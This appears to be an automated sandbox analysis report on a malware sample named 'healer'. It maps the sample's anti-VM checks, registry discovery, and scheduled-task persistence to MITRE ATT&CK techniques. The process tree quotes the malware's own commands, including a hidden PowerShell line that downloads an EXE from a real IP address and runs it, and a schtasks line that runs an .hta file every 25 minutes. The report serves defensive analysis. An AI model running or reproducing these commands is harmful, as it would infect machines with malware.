healer | 83d49a58f4c4910aed8ca2c8235a4008faf8895785a1efb8580fdd6f03ae0ef9

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2544	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

Downloads MZ/PE file 3 IoCs

flow	pid	Process
39	520	Process not Found
31	784	Process not Found
2	2544	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4002483208-3304649696-3162246273-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
1888	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4002483208-3304649696-3162246273-1000\Software\Wine	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1888	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3108	1888	WerFault.exe	92

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1212	MicrosoftEdgeUpdate.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4424	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2544	powershell.exe
2544	powershell.exe
1888	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE
1888	TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
220	random.exe
220	random.exe
220	random.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
220	random.exe
220	random.exe
220	random.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 220 wrote to memory of 3084	220	random.exe	85
PID 220 wrote to memory of 3084	220	random.exe	85
PID 220 wrote to memory of 3084	220	random.exe	85
PID 220 wrote to memory of 940	220	random.exe	86
PID 220 wrote to memory of 940	220	random.exe	86
PID 220 wrote to memory of 940	220	random.exe	86
PID 3084 wrote to memory of 4424	3084	cmd.exe	88
PID 3084 wrote to memory of 4424	3084	cmd.exe	88
PID 3084 wrote to memory of 4424	3084	cmd.exe	88
PID 940 wrote to memory of 2544	940	mshta.exe	89
PID 940 wrote to memory of 2544	940	mshta.exe	89
PID 940 wrote to memory of 2544	940	mshta.exe	89
PID 2544 wrote to memory of 1888	2544	powershell.exe	92
PID 2544 wrote to memory of 1888	2544	powershell.exe	92
PID 2544 wrote to memory of 1888	2544	powershell.exe	92

C:\Users\Admin\AppData\Local\Temp\random.exe
"C:\Users\Admin\AppData\Local\Temp\random.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:220
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn 75iAmmaN4lk /tr "mshta C:\Users\Admin\AppData\Local\Temp\iSkaxoGDs.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn 75iAmmaN4lk /tr "mshta C:\Users\Admin\AppData\Local\Temp\iSkaxoGDs.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4424
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\iSkaxoGDs.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:940
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'BAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Users\Admin\AppData\Local\TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE
      "C:\Users\Admin\AppData\Local\TempBAEXNQONWLTEHJJ3FR2LOPAQPNKBSO1P.EXE"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:1888
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1888 -s 1052
        5⤵
        Program crash
        
        PID:3108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 1888 -ip 1888
1⤵
PID:644

C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7OTQxREM1QzQtOTQ0QS00QkM0LTk4OTgtMDU1MTI4MEEwRkJFfSIgdXNlcmlkPSJ7ODVBMkQ2NzctQzI0RS00N0JGLUI4NEQtRDc5NTFCQjNCNEM0fSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7NEVGQjhCNTctMkE2RC00MjkxLUE4MjctQkI3RDI3NkUyODNDfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0NC40NTI5IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iMTI1IiBpc193aXA9IjAiIGlzX2luX2xvY2tkb3duX21vZGU9IjAiLz48b2VtIHByb2R1Y3RfbWFudWZhY3R1cmVyPSIiIHByb2R1Y3RfbmFtZT0iIi8-PGV4cCBldGFnPSImcXVvdDtyNDUydDErazJUZ3EvSFh6anZGTkJSaG9wQldSOXNialh4cWVVREg5dVgwPSZxdW90OyIvPjxhcHAgYXBwaWQ9Ins4QTY5RDM0NS1ENTY0LTQ2M2MtQUZGMS1BNjlEOUU1MzBGOTZ9IiB2ZXJzaW9uPSIxMjMuMC42MzEyLjEyMyIgbmV4dHZlcnNpb249IiIgbGFuZz0iZW4iIGJyYW5kPSJHR0xTIiBjbGllbnQ9IiIgaW5zdGFsbGFnZT0iNCIgaW5zdGFsbGRhdGV0aW1lPSIxNzM5MjcwOTQwIiBvb2JlX2luc3RhbGxfdGltZT0iMTMzODM3NDE5ODQwNzIwMDAwIj48ZXZlbnQgZXZlbnR0eXBlPSIzMSIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMjE3OTg2MiIgc3lzdGVtX3VwdGltZV90aWNrcz0iNTA3NjEwODAzNyIvPjwvYXBwPjwvcmVxdWVzdD4
1⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
PID:1212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Virtualization/Sandbox Evasion

2

Credential Access

Discovery

Query Registry

4

System Information Discovery

3

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

2